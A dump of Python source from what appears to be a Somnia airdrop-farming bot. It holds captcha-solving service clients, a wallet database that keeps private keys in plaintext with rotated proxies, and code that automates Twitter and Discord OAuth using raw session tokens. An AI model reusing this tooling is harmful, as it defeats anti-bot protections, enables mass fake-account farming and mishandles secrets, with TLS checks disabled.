self.session.post( 99 | f"{self.base_url}/getTaskResult", 100 | json=data, 101 | timeout=30, 102 | ) 103 | result = response.json() 104 | 105 | if result.get("status") == "ready": 106 | # Handle both reCAPTCHA and Turnstile responses 107 | solution = result.get("solution", {}) 108 | return solution.get("token") or solution.get("gRecaptchaResponse") 109 | elif "errorId" in result and result["errorId"] != 0: 110 | logger.error(f"Error getting result: {result}") 111 | return None 112 | 113 | await asyncio.sleep(3) 114 | 115 | except Exception as e: 116 | logger.error(f"Error getting result: {e}") 117 | return None 118 | 119 | return None 120 | 121 | async def solve_recaptcha( 122 | self, 123 | sitekey: str, 124 | pageurl: str, 125 | invisible: bool = False, 126 | ) -> Optional[str]: 127 | """Решает RecaptchaV2 и возвращает токен""" 128 | task_id = await self.create_task(sitekey, pageurl, invisible) 129 | if not task_id: 130 | return None 131 | 132 | return await self.get_task_result(task_id) 133 | 134 | async def create_turnstile_task( 135 | self, 136 | sitekey: str, 137 | pageurl: str, 138 | action: Optional[str] = None, 139 | cdata: Optional[str] = None, 140 | ) -> Optional[str]: 141 | """Creates a Turnstile captcha solving task""" 142 | data = { 143 | "clientKey": self.api_key, 144 | "task": { 145 | "type": "AntiTurnstileTaskProxyLess", 146 | "websiteURL": pageurl, 147 | "websiteKey": sitekey, 148 | }, 149 | } 150 | 151 | # if action or cdata: 152 | # metadata = {} 153 | # if action: 154 | # metadata["action"] = action 155 | # if cdata: 156 | # metadata["cdata"] = cdata 157 | # data["task"]["metadata"] = metadata 158 | 159 | try: 160 | response = await self.session.post( 161 | f"{self.base_url}/createTask", 162 | json=data, 163 | timeout=30, 164 | ) 165 | result = response.json() 166 | 167 | if "taskId" in result: 168 | return result["taskId"] 169 | 170 | logger.error(f"Error creating Turnstile task: {result}") 171 | return None 172 | 173 | except Exception as e: 174 | logger.error(f"Error creating Turnstile task: {e}") 175 | return None 176 | 177 | async def solve_turnstile( 178 | self, 179 | sitekey: str, 180 | pageurl: str, 181 | action: Optional[str] = None, 182 | cdata: Optional[str] = None, 183 | ) -> Optional[str]: 184 | """Solves Cloudflare Turnstile captcha and returns token""" 185 | task_id = await self.create_turnstile_task( 186 | sitekey=sitekey, 187 | pageurl=pageurl, 188 | action=action, 189 | cdata=cdata, 190 | ) 191 | if not task_id: 192 | return None 193 | 194 | return await self.get_task_result(task_id) 195 | 196 | 197 | class TwoCaptcha: 198 | def __init__( 199 | self, 200 | api_key: str, 201 | proxy: Optional[str] = None, 202 | session: AsyncClient = None, 203 | ): 204 | self.api_key = api_key 205 | self.base_url = "http://2captcha.com" 206 | self.proxy = self._format_proxy(proxy) if proxy else None 207 | self.session = session or AsyncClient(verify=False) 208 | 209 | def _format_proxy(self, proxy: str) -> str: 210 | if not proxy: 211 | return None 212 | if "@" in proxy: 213 | return proxy 214 | return proxy 215 | 216 | async def create_turnstile_task( 217 | self, 218 | sitekey: str, 219 | pageurl: str, 220 | action: Optional[str] = None, 221 | data: Optional[str] = None, 222 | pagedata: Optional[str] = None, 223 | ) -> Optional[str]: 224 | """Creates a Turnstile captcha solving task""" 225 | form_data = { 226 | "key": self.api_key, 227 | "method": "turnstile", 228 | "sitekey": sitekey, 229 | "pageurl": pageurl, 230 | "json": "1", 231 | } 232 | 233 | if action: 234 | form_data["action"] = action 235 | if data: 236 | form_data["data"] = data 237 | if pagedata: 238 | form_data["pagedata"] = pagedata 239 | if self.proxy: 240 | form_data["proxy"] = self.proxy 241 | 242 | try: 243 | response = await self.session.post( 244 | f"{self.base_url}/in.php", 245 | data=form_data, 246 | timeout=30, 247 | ) 248 | result = response.json() 249 | 250 | if result.get("status") == 1: 251 | return result["request"] 252 | 253 | logger.error(f"Error creating Turnstile task: {result}") 254 | return None 255 | 256 | except Exception as e: 257 | logger.error(f"Error creating Turnstile task: {e}") 258 | return None 259 | 260 | async def get_task_result(self, task_id: str) -> Optional[str]: 261 | """Gets the result of the captcha solution""" 262 | params = { 263 | "key": self.api_key, 264 | "action": "get", 265 | "id": task_id, 266 | "json": "1", 267 | } 268 | 269 | max_attempts = 30 270 | for _ in range(max_attempts): 271 | try: 272 | response = await self.session.get( 273 | f"{self.base_url}/res.php", 274 | params=params, 275 | timeout=30, 276 | ) 277 | result = response.json() 278 | 279 | if result.get("status") == 1: 280 | return result["request"] 281 | elif result.get("request") == "CAPCHA_NOT_READY": 282 | await asyncio.sleep(5) 283 | continue 284 | 285 | logger.error(f"Error getting result: {result}") 286 | return None 287 | 288 | except Exception as e: 289 | logger.error(f"Error getting result: {e}") 290 | return None 291 | 292 | return None 293 | 294 | async def solve_turnstile( 295 | self, 296 | sitekey: str, 297 | pageurl: str, 298 | action: Optional[str] = None, 299 | data: Optional[str] = None, 300 | pagedata: Optional[str] = None, 301 | ) -> Optional[str]: 302 | """Solves Cloudflare Turnstile captcha and returns token""" 303 | task_id = await self.create_turnstile_task( 304 | sitekey=sitekey, 305 | pageurl=pageurl, 306 | action=action, 307 | data=data, 308 | pagedata=pagedata, 309 | ) 310 | if not task_id: 311 | return None 312 | 313 | return await self.get_task_result(task_id) 314 | 315 | 316 | class NoCaptcha: 317 | def __init__( 318 | self, 319 | user_token: str, 320 | proxy: Optional[str] = None, 321 | session: AsyncClient = None, 322 | ): 323 | self.user_token = user_token 324 | self.base_url = "http://api.nocaptcha.io" 325 | self.proxy = self._format_proxy(proxy) if proxy else None 326 | self.session = session or AsyncClient(verify=False) 327 | 328 | def _format_proxy(self, proxy: str) -> str: 329 | if not proxy: 330 | return None 331 | if "@" in proxy: 332 | return proxy 333 | return proxy 334 | 335 | async def solve_hcaptcha( 336 | self, 337 | sitekey: str, 338 | referer: str, 339 | rqdata: Optional[str] = None, 340 | domain: Optional[str] = None, 341 | region: Optional[str] = None, 342 | invisible: bool = False, 343 | need_ekey: bool = False, 344 | ) -> Optional[Dict]: 345 | """Solves hCaptcha and returns the solution data""" 346 | data = { 347 | "sitekey": sitekey, 348 | "referer": referer, 349 | "invisible": invisible, 350 | "need_ekey": need_ekey, 351 | } 352 | 353 | if rqdata: 354 | data["rqdata"] = rqdata 355 | if domain: 356 | data["domain"] = domain 357 | if self.proxy: 358 | data["proxy"] = self.proxy 359 | if region: 360 | data["region"] = region 361 | 362 | headers = { 363 | "User-Token": self.user_token, 364 | "Content-Type": "application/json", 365 | "Developer-Id": "SWVtru", 366 | } 367 | 368 | try: 369 | response = await self.session.post( 370 | f"{self.base_url}/api/wanda/hcaptcha/universal", 371 | json=data, 372 | headers=headers, 373 | timeout=30, 374 | ) 375 | result = response.json() 376 | 377 | if result.get("status") == 1: 378 | return result.get("data") 379 | 380 | logger.error(f"Error solving hCaptcha: {result}") 381 | return None 382 | 383 | except Exception as e: 384 | logger.error(f"Error solving hCaptcha: {e}") 385 | return None 386 | -------------------------------------------------------------------------------- /src/model/database/db_manager.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import json 3 | import random 4 | from typing import List 5 | from tabulate import tabulate 6 | from loguru import logger 7 | 8 | from src.model.database.instance import Database 9 | from src.utils.config import get_config 10 | from src.utils.reader import read_private_keys 11 | from src.utils.proxy_parser import Proxy # Добавляем импорт 12 | 13 | 14 | async def show_database_menu(): 15 | while True: 16 | print("\nDatabase Management Options:\n") 17 | print("[1] 🗑 Create/Reset Database") 18 | print("[2] ➕ Generate New Tasks for Completed Wallets") 19 | print("[3] 📊 Show Database Contents") 20 | print("[4] 🔄 Regenerate Tasks for All Wallets") 21 | print("[5] 📝 Add Wallets to Database") 22 | print("[6] 👋 Exit") 23 | print() 24 | 25 | try: 26 | choice = input("Enter option (1-6): ").strip() 27 | 28 | if choice == "1": 29 | await reset_database() 30 | elif choice == "2": 31 | await regenerate_tasks_for_completed() 32 | elif choice == "3": 33 | await show_database_contents() 34 | elif choice == "4": 35 | await regenerate_tasks_for_all() 36 | elif choice == "5": 37 | await add_new_wallets() 38 | elif choice == "6": 39 | print("\nExiting database management...") 40 | break 41 | else: 42 | logger.error("Invalid choice. Please enter a number between 1 and 6.") 43 | 44 | except Exception as e: 45 | logger.error(f"Error in database management: {e}") 46 | await asyncio.sleep(1) 47 | 48 | 49 | async def reset_database(): 50 | """Создание новой или сброс существующей базы данных""" 51 | print("\n⚠️ WARNING: This will delete all existing data.") 52 | print("[1] Yes") 53 | print("[2] No") 54 | 55 | confirmation = input("\nEnter your choice (1-2): ").strip() 56 | 57 | if confirmation != "1": 58 | logger.info("Database reset cancelled") 59 | return 60 | 61 | try: 62 | db = Database() 63 | await db.clear_database() 64 | await db.init_db() 65 | 66 | # Генерируем задачи для новой базы данных 67 | config = get_config() 68 | private_keys = read_private_keys("data/private_keys.txt") 69 | 70 | # Читаем прокси 71 | try: 72 | proxy_objects = Proxy.from_file("data/proxies.txt") 73 | proxies = [proxy.get_default_format() for proxy in proxy_objects] 74 | if len(proxies) == 0: 75 | logger.error("No proxies found in data/proxies.txt") 76 | return 77 | except Exception as e: 78 | logger.error(f"Failed to load proxies: {e}") 79 | return 80 | 81 | # Добавляем кошельки с прокси и задачами 82 | for i, private_key in enumerate(private_keys): 83 | proxy = proxies[i % len(proxies)] 84 | 85 | # Генерируем новый список задач для каждого кошелька 86 | tasks = generate_tasks_from_config(config) 87 | 88 | if not tasks: 89 | logger.error( 90 | f"No tasks generated for wallet {private_key[:4]}...{private_key[-4:]}" 91 | ) 92 | continue 93 | 94 | await db.add_wallet( 95 | private_key=private_key, 96 | proxy=proxy, 97 | tasks_list=tasks, # Передаем сгенерированный список задач 98 | ) 99 | 100 | logger.success( 101 | f"Database has been reset and initialized with {len(private_keys)} wallets!" 102 | ) 103 | 104 | except Exception as e: 105 | logger.error(f"Error resetting database: {e}") 106 | 107 | 108 | def generate_tasks_from_config(config) -> List[str]: 109 | """Генерация списка задач из конфига в том же формате, что и в start.py""" 110 | planned_tasks = [] 111 | 112 | # Получаем список задач из конфига 113 | for task_name in config.FLOW.TASKS: 114 | # Импортируем tasks.py для получения конкретного списка задач 115 | import tasks 116 | 117 | # Получаем список подзадач для текущей задачи 118 | task_list = getattr(tasks, task_name) 119 | 120 | # Обрабатываем каждую подзадачу 121 | for task_item in task_list: 122 | if isinstance(task_item, list): 123 | # Для задач в [], выбираем случайную 124 | selected_task = random.choice(task_item) 125 | planned_tasks.append(selected_task) 126 | elif isinstance(task_item, tuple): 127 | # Для задач в (), перемешиваем все 128 | shuffled_tasks = list(task_item) 129 | random.shuffle(shuffled_tasks) 130 | # Добавляем все задачи из кортежа 131 | planned_tasks.extend(shuffled_tasks) 132 | else: 133 | # Обычная задача 134 | planned_tasks.append(task_item) 135 | 136 | logger.info(f"Generated tasks sequence: {planned_tasks}") 137 | return planned_tasks 138 | 139 | 140 | async def regenerate_tasks_for_completed(): 141 | """Генерация новых задач для завершенных кошельков""" 142 | try: 143 | db = Database() 144 | config = get_config() 145 | 146 | # Получаем список завершенных кошельков 147 | completed_wallets = await db.get_completed_wallets() 148 | 149 | if not completed_wallets: 150 | logger.info("No completed wallets found") 151 | return 152 | 153 | print("\n[1] Yes") 154 | print("[2] No") 155 | confirmation = input( 156 | "\nThis will replace all tasks for completed wallets. Continue? (1-2): " 157 | ).strip() 158 | 159 | if confirmation != "1": 160 | logger.info("Task regeneration cancelled") 161 | return 162 | 163 | # Для каждого завершенного кошелька генерируем новые задачи 164 | for wallet in completed_wallets: 165 | # Генерируем новый список задач 166 | new_tasks = generate_tasks_from_config(config) 167 | 168 | # Очищаем старые задачи и добавляем новые 169 | await db.clear_wallet_tasks(wallet["private_key"]) 170 | await db.add_tasks_to_wallet(wallet["private_key"], new_tasks) 171 | 172 | logger.success( 173 | f"Generated new tasks for {len(completed_wallets)} completed wallets" 174 | ) 175 | 176 | except Exception as e: 177 | logger.error(f"Error regenerating tasks: {e}") 178 | 179 | 180 | async def regenerate_tasks_for_all(): 181 | """Генерация новых задач для всех кошельков""" 182 | try: 183 | db = Database() 184 | config = get_config() 185 | 186 | # Получаем все кошельки 187 | completed_wallets = await db.get_completed_wallets() 188 | uncompleted_wallets = await db.get_uncompleted_wallets() 189 | all_wallets = completed_wallets + uncompleted_wallets 190 | 191 | if not all_wallets: 192 | logger.info("No wallets found in database") 193 | return 194 | 195 | print("\n[1] Yes") 196 | print("[2] No") 197 | confirmation = input( 198 | "\nThis will replace all tasks for ALL wallets. Continue? (1-2): " 199 | ).strip() 200 | 201 | if confirmation != "1": 202 | logger.info("Task regeneration cancelled") 203 | return 204 | 205 | # Для каждого кошелька генерируем новые задачи 206 | for wallet in all_wallets: 207 | # Генерируем новый список задач 208 | new_tasks = generate_tasks_from_config(config) 209 | 210 | # Очищаем старые задачи и добавляем новые 211 | await db.clear_wallet_tasks(wallet["private_key"]) 212 | await db.add_tasks_to_wallet(wallet["private_key"], new_tasks) 213 | 214 | logger.success(f"Generated new tasks for all {len(all_wallets)} wallets") 215 | 216 | except Exception as e: 217 | logger.error(f"Error regenerating tasks for all wallets: {e}") 218 | 219 | 220 | async def show_database_contents(): 221 | """Отображение содержимого базы данных в табличном формате""" 222 | try: 223 | db = Database() 224 | 225 | # Получаем все кошельки 226 | completed_wallets = await db.get_completed_wallets() 227 | uncompleted_wallets = await db.get_uncompleted_wallets() 228 | all_wallets = completed_wallets + uncompleted_wallets 229 | 230 | if not all_wallets: 231 | logger.info("Database is empty") 232 | return 233 | 234 | # Подготавливаем данные для таблицы 235 | table_data = [] 236 | for wallet in all_wallets: 237 | tasks = ( 238 | json.loads(wallet["tasks"]) 239 | if isinstance(wallet["tasks"], str) 240 | else wallet["tasks"] 241 | ) 242 | 243 | # Форматируем список задач 244 | completed_tasks = [ 245 | task["name"] for task in tasks if task["status"] == "completed" 246 | ] 247 | pending_tasks = [ 248 | task["name"] for task in tasks if task["status"] == "pending" 249 | ] 250 | 251 | # Сокращаем private key для отображения 252 | short_key = f"{wallet['private_key'][:6]}...{wallet['private_key'][-4:]}" 253 | 254 | # Форматируем прокси для отображения 255 | proxy = wallet["proxy"] 256 | if proxy and len(proxy) > 20: 257 | proxy = f"{proxy[:17]}..." 258 | 259 | table_data.append( 260 | [ 261 | short_key, 262 | proxy or "No proxy", 263 | wallet["status"], 264 | f"{len(completed_tasks)}/{len(tasks)}", 265 | ", ".join(completed_tasks) or "None", 266 | ", ".join(pending_tasks) or "None", 267 | ] 268 | ) 269 | 270 | # Создаем таблицу 271 | headers = [ 272 | "Wallet", 273 | "Proxy", 274 | "Status", 275 | "Progress", 276 | "Completed Tasks", 277 | "Pending Tasks", 278 | ] 279 | table = tabulate(table_data, headers=headers, tablefmt="grid", stralign="left") 280 | 281 | # Выводим статистику 282 | total_wallets = len(all_wallets) 283 | completed_count = len(completed_wallets) 284 | print(f"\nDatabase Statistics:") 285 | print(f"Total Wallets: {total_wallets}") 286 | print(f"Completed Wallets: {completed_count}") 287 | print(f"Pending Wallets: {total_wallets - completed_count}") 288 | 289 | # Выводим таблицу 290 | print("\nDatabase Contents:") 291 | print(table) 292 | 293 | except Exception as e: 294 | logger.error(f"Error showing database contents: {e}") 295 | 296 | 297 | async def add_new_wallets(): 298 | """Добавление новых кошельков из файла в базу данных""" 299 | try: 300 | db = Database() 301 | config = get_config() 302 | 303 | # Читаем все приватные ключи из файла 304 | private_keys = read_private_keys("data/private_keys.txt") 305 | 306 | # Читаем прокси 307 | try: 308 | proxy_objects = Proxy.from_file("data/proxies.txt") 309 | proxies = [proxy.get_default_format() for proxy in proxy_objects] 310 | if len(proxies) == 0: 311 | logger.error("No proxies found in data/proxies.txt") 312 | return 313 | except Exception as e: 314 | logger.error(f"Failed to load proxies: {e}") 315 | return 316 | 317 | # Получаем существующие кошельки из базы 318 | completed_wallets = await db.get_completed_wallets() 319 | uncompleted_wallets = await db.get_uncompleted_wallets() 320 | existing_wallets = { 321 | w["private_key"] for w in (completed_wallets + uncompleted_wallets) 322 | } 323 | 324 | # Находим новые кошельки 325 | new_wallets = [pk for pk in private_keys if pk not in existing_wallets] 326 | 327 | if not new_wallets: 328 | logger.info("No new wallets found to add") 329 | return 330 | 331 | print(f"\nFound {len(new_wallets)} new wallets to add to database") 332 | print("\n[1] Yes") 333 | print("[2] No") 334 | confirmation = input("\nDo you want to add these wallets? (1-2): ").strip() 335 | 336 | if confirmation != "1": 337 | logger.info("Adding new wallets cancelled") 338 | return 339 | 340 | # Добавляем новые кошельки 341 | added_count = 0 342 | for private_key in new_wallets: 343 | proxy = proxies[added_count % len(proxies)] 344 | tasks = generate_tasks_from_config(config) 345 | 346 | if not tasks: 347 | logger.error( 348 | f"No tasks generated for wallet {private_key[:4]}...{private_key[-4:]}" 349 | ) 350 | continue 351 | 352 | await db.add_wallet( 353 | private_key=private_key, 354 | proxy=proxy, 355 | tasks_list=tasks, 356 | ) 357 | added_count += 1 358 | 359 | logger.success(f"Successfully added {added_count} new wallets to database!") 360 | 361 | except Exception as e: 362 | logger.error(f"Error adding new wallets: {e}") 363 | -------------------------------------------------------------------------------- /src/model/somnia_network/connect_socials.py: -------------------------------------------------------------------------------- 1 | import random 2 | import asyncio 3 | import secrets 4 | from loguru import logger 5 | 6 | from src.model.somnia_network.constants import SomniaProtocol 7 | from src.utils.decorators import retry_async 8 | 9 | 10 | class ConnectSocials: 11 | def __init__(self, somnia_instance: SomniaProtocol): 12 | self.somnia = somnia_instance 13 | 14 | async def connect_socials(self): 15 | try: 16 | success = True 17 | logger.info(f"{self.somnia.account_index} | Starting connect socials...") 18 | 19 | account_info = await self.somnia.get_account_info() 20 | 21 | if account_info is None: 22 | raise Exception("Account info is None") 23 | 24 | if account_info["twitterName"] is None: 25 | if not self.somnia.twitter_token: 26 | logger.error( 27 | f"{self.somnia.account_index} | Twitter token is None. Please add token to data/twitter_tokens.txt" 28 | ) 29 | else: 30 | if not await self.connect_twitter(): 31 | success = False 32 | else: 33 | logger.success( 34 | f"{self.somnia.account_index} | Twitter already connected" 35 | ) 36 | 37 | if account_info["discordName"] is None: 38 | if not self.somnia.discord_token: 39 | logger.error( 40 | f"{self.somnia.account_index} | Discord token is None. Please add token to data/discord_tokens.txt" 41 | ) 42 | else: 43 | if not await self.connect_discord(): 44 | success = False 45 | else: 46 | logger.success( 47 | f"{self.somnia.account_index} | Discord already connected" 48 | ) 49 | 50 | if success: 51 | logger.success( 52 | f"{self.somnia.account_index} | Successfully connected socials" 53 | ) 54 | else: 55 | logger.error(f"{self.somnia.account_index} | Failed to connect socials") 56 | 57 | return success 58 | 59 | except Exception as e: 60 | random_pause = random.randint( 61 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 62 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 63 | ) 64 | logger.error( 65 | f"{self.somnia.account_index} | Connect socials error: {e}. Sleeping {random_pause} seconds..." 66 | ) 67 | await asyncio.sleep(random_pause) 68 | return False 69 | 70 | @retry_async(default_value=False) 71 | async def connect_twitter(self): 72 | try: 73 | logger.info(f"{self.somnia.account_index} | Starting connect twitter...") 74 | 75 | generated_csrf_token = secrets.token_hex(16) 76 | 77 | cookies = {"ct0": generated_csrf_token, "auth_token": self.somnia.twitter_token} 78 | cookies_headers = "; ".join(f"{k}={v}" for k, v in cookies.items()) 79 | 80 | headers = { 81 | "cookie": cookies_headers, 82 | "x-csrf-token": generated_csrf_token, 83 | 'upgrade-insecure-requests': '1', 84 | "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs=1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA", 85 | 'referer': 'https://quest.somnia.network/', 86 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 87 | } 88 | 89 | client_id = "WS1FeDNoZnlqTEw1WFpvX1laWkc6MTpjaQ" 90 | code_challenge = "challenge123" 91 | state = "eyJ0eXBlIjoiQ09OTkVDVF9UV0lUVEVSIn0=" 92 | params = { 93 | 'client_id': client_id, 94 | 'code_challenge': code_challenge, 95 | 'code_challenge_method': 'plain', 96 | 'redirect_uri': 'https://quest.somnia.network/twitter', 97 | 'response_type': 'code', 98 | 'scope': 'users.read follows.write tweet.write like.write tweet.read', 99 | 'state': state, 100 | } 101 | 102 | response = await self.somnia.session.get('https://x.com/i/api/2/oauth2/authorize', params=params, headers=headers) 103 | 104 | if not response.json().get("auth_code"): 105 | raise Exception(f"Failed to connect twitter: no auth_code in response: {response.status_code} | {response.text}") 106 | 107 | auth_code = response.json().get("auth_code") 108 | 109 | data = { 110 | 'approval': 'true', 111 | 'code': auth_code, 112 | } 113 | 114 | response = await self.somnia.session.post('https://x.com/i/api/2/oauth2/authorize', headers=headers, data=data) 115 | 116 | redirect_url = response.json()['redirect_uri'] 117 | 118 | headers = { 119 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 120 | 'referer': 'https://twitter.com/', 121 | 'priority': 'u=0, i', 122 | } 123 | 124 | response = await self.somnia.session.get(redirect_url, headers=headers) 125 | 126 | if response.status_code != 200: 127 | raise Exception(f"Failed to connect twitter send auth_code: status code is {response.status_code} | {response.text}") 128 | 129 | headers = { 130 | 'authorization': f'Bearer {self.somnia.somnia_login_token}', 131 | 'content-type': 'application/json', 132 | 'origin': 'https://quest.somnia.network', 133 | 'referer': f'https://quest.somnia.network/twitter?state={state}&code={auth_code}', 134 | } 135 | 136 | json_data = { 137 | 'code': auth_code, 138 | 'codeChallenge': code_challenge, 139 | 'provider': 'twitter', 140 | } 141 | 142 | response = await self.somnia.session.post('https://quest.somnia.network/api/auth/socials', headers=headers, json=json_data) 143 | 144 | if not response.json().get("success"): 145 | raise Exception(f"Failed to confirm twitter connection: {response.status_code} | {response.text}") 146 | 147 | if response.json()["success"]: 148 | logger.success(f"{self.somnia.account_index} | Successfully connected twitter") 149 | return True 150 | else: 151 | raise Exception(f"Failed to confirm twitter connection: {response.status_code} | {response.text}") 152 | 153 | except Exception as e: 154 | if "Could not authenticate you" in str(e): 155 | logger.error(f"{self.somnia.account_index} | Twitter token is invalid") 156 | return False 157 | 158 | random_pause = random.randint( 159 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 160 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 161 | ) 162 | logger.error( 163 | f"{self.somnia.account_index} | Connect twitter error: {e}. Sleeping {random_pause} seconds..." 164 | ) 165 | await asyncio.sleep(random_pause) 166 | raise 167 | 168 | @retry_async(default_value=False) 169 | async def connect_discord(self): 170 | try: 171 | logger.info(f"{self.somnia.account_index} | Starting connect discord...") 172 | 173 | headers = { 174 | "Referer": "https://quest.somnia.network/", 175 | "Upgrade-Insecure-Requests": "1", 176 | } 177 | 178 | response = await self.somnia.session.get( 179 | "https://discord.com/oauth2/authorize?response_type=code&client_id=1318915934878040064&redirect_uri=https%3A%2F%2Fquest.somnia.network%2Fdiscord&scope=identify&state=eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=", 180 | headers=headers, 181 | ) 182 | 183 | headers = { 184 | 'authorization': self.somnia.discord_token, 185 | 'referer': 'https://discord.com/oauth2/authorize?response_type=code&client_id=1318915934878040064&redirect_uri=https%3A%2F%2Fquest.somnia.network%2Fdiscord&scope=identify&state=eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=', 186 | 'x-debug-options': 'bugReporterEnabled', 187 | 'x-discord-locale': 'en-US', 188 | } 189 | 190 | params = { 191 | 'client_id': '1318915934878040064', 192 | 'response_type': 'code', 193 | 'redirect_uri': 'https://quest.somnia.network/discord', 194 | 'scope': 'identify', 195 | 'state': 'eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=', 196 | 'integration_type': '0', 197 | } 198 | 199 | response = await self.somnia.session.get('https://discord.com/api/v9/oauth2/authorize', params=params, headers=headers) 200 | 201 | headers = { 202 | 'authorization': self.somnia.discord_token, 203 | 'content-type': 'application/json', 204 | 'origin': 'https://discord.com', 205 | 'referer': 'https://discord.com/oauth2/authorize?response_type=code&client_id=1318915934878040064&redirect_uri=https%3A%2F%2Fquest.somnia.network%2Fdiscord&scope=identify&state=eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=', 206 | 'x-debug-options': 'bugReporterEnabled', 207 | 'x-discord-locale': 'en-US', 208 | } 209 | 210 | params = { 211 | 'client_id': '1318915934878040064', 212 | 'response_type': 'code', 213 | 'redirect_uri': 'https://quest.somnia.network/discord', 214 | 'scope': 'identify', 215 | 'state': 'eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=', 216 | } 217 | 218 | json_data = { 219 | 'permissions': '0', 220 | 'authorize': True, 221 | 'integration_type': 0, 222 | 'location_context': { 223 | 'guild_id': '10000', 224 | 'channel_id': '10000', 225 | 'channel_type': 10000, 226 | }, 227 | 'dm_settings': { 228 | 'allow_mobile_push': False, 229 | }, 230 | } 231 | 232 | response = await self.somnia.session.post( 233 | 'https://discord.com/api/v9/oauth2/authorize', 234 | params=params, 235 | headers=headers, 236 | json=json_data, 237 | ) 238 | 239 | if not response.json()['location']: 240 | raise Exception("Failed to connect discord: no location in response") 241 | 242 | headers = { 243 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 244 | 'referer': 'https://discord.com/', 245 | 'upgrade-insecure-requests': '1', 246 | } 247 | 248 | 249 | code = response.json()['location'].split('code=')[1].split('&')[0] 250 | 251 | response = await self.somnia.session.get(response.json()['location'], headers=headers) 252 | 253 | if response.status_code != 200: 254 | raise Exception(f"Failed to connect discord: status code is {response.status_code} | {response.text}") 255 | 256 | 257 | headers = { 258 | 'accept': '*/*', 259 | 'accept-language': 'ru,en-US;q=0.9,en;q=0.8,ru-RU;q=0.7,zh-TW;q=0.6,zh;q=0.5,uk;q=0.4', 260 | 'authorization': f'Bearer {self.somnia.somnia_login_token}', 261 | 'content-type': 'application/json', 262 | 'origin': 'https://quest.somnia.network', 263 | 'priority': 'u=1, i', 264 | 'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"', 265 | 'sec-ch-ua-mobile': '?0', 266 | 'sec-ch-ua-platform': '"Windows"', 267 | 'sec-fetch-dest': 'empty', 268 | 'sec-fetch-mode': 'cors', 269 | 'sec-fetch-site': 'same-origin', 270 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 271 | } 272 | 273 | json_data = { 274 | 'code': code, 275 | 'provider': 'discord', 276 | } 277 | 278 | response = await self.somnia.session.post('https://quest.somnia.network/api/auth/socials', headers=headers, json=json_data) 279 | 280 | if not response.json().get("success"): 281 | raise Exception(f"Failed to confirm discord connection: {response.status_code} | {response.text}") 282 | 283 | if response.json()["success"]: 284 | logger.success(f"{self.somnia.account_index} | Successfully connected discord") 285 | return True 286 | else: 287 | raise Exception(f"Failed to confirm discord connection: {response.status_code} | {response.text}") 288 | 289 | except Exception as e: 290 | random_pause = random.randint( 291 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 292 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 293 | ) 294 | logger.error( 295 | f"{self.somnia.account_index} | Connect discord error: {e}. Sleeping {random_pause} seconds..." 296 | ) 297 | await asyncio.sleep(random_pause) 298 | raise 299 | -------------------------------------------------------------------------------- /src/model/database/instance.py: -------------------------------------------------------------------------------- 1 | import json 2 | from typing import Optional, List, Dict 3 | from sqlalchemy import create_engine, Column, Integer, String 4 | from sqlalchemy.ext.declarative import declarative_base 5 | from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession 6 | from sqlalchemy.orm import sessionmaker 7 | from loguru import logger 8 | 9 | Base = declarative_base() 10 | 11 | 12 | class Wallet(Base): 13 | __tablename__ = "wallets" 14 | id = Column(Integer, primary_key=True) 15 | private_key = Column(String, unique=True) 16 | proxy = Column(String, nullable=True) 17 | status = Column(String) # общий статус кошелька (pending/completed) 18 | tasks = Column(String) # JSON строка с задачами 19 | 20 | 21 | class Database: 22 | def __init__(self): 23 | self.engine = create_async_engine( 24 | "sqlite+aiosqlite:///data/accounts.db", # Изменен путь и название БД 25 | echo=False, 26 | ) 27 | self.session = sessionmaker( 28 | bind=self.engine, class_=AsyncSession, expire_on_commit=False 29 | ) 30 | 31 | async def init_db(self): 32 | """Инициализация базы данных""" 33 | async with self.engine.begin() as conn: 34 | await conn.run_sync(Base.metadata.create_all) 35 | logger.success("Database initialized successfully") 36 | 37 | async def clear_database(self): 38 | """Полная очистка базы данных""" 39 | async with self.engine.begin() as conn: 40 | await conn.run_sync(Base.metadata.drop_all) 41 | await conn.run_sync(Base.metadata.create_all) 42 | logger.success("Database cleared successfully") 43 | 44 | async def add_wallet( 45 | self, 46 | private_key: str, 47 | proxy: Optional[str] = None, 48 | tasks_list: Optional[List[str]] = None, 49 | ) -> None: 50 | """ 51 | Добавление нового кошелька 52 | 53 | :param private_key: Приватный ключ кошелька 54 | :param proxy: Прокси (опционально) 55 | :param tasks_list: Список названий задач 56 | """ 57 | # Преобразуем список задач в нужный формат для БД 58 | tasks = [] 59 | for task in tasks_list or []: 60 | tasks.append( 61 | { 62 | "name": task, 63 | "status": "pending", 64 | "index": len(tasks) + 1, # Добавляем индекс для сохранения порядка 65 | } 66 | ) 67 | 68 | async with self.session() as session: 69 | wallet = Wallet( 70 | private_key=private_key, 71 | proxy=proxy, 72 | status="pending", 73 | tasks=json.dumps(tasks), 74 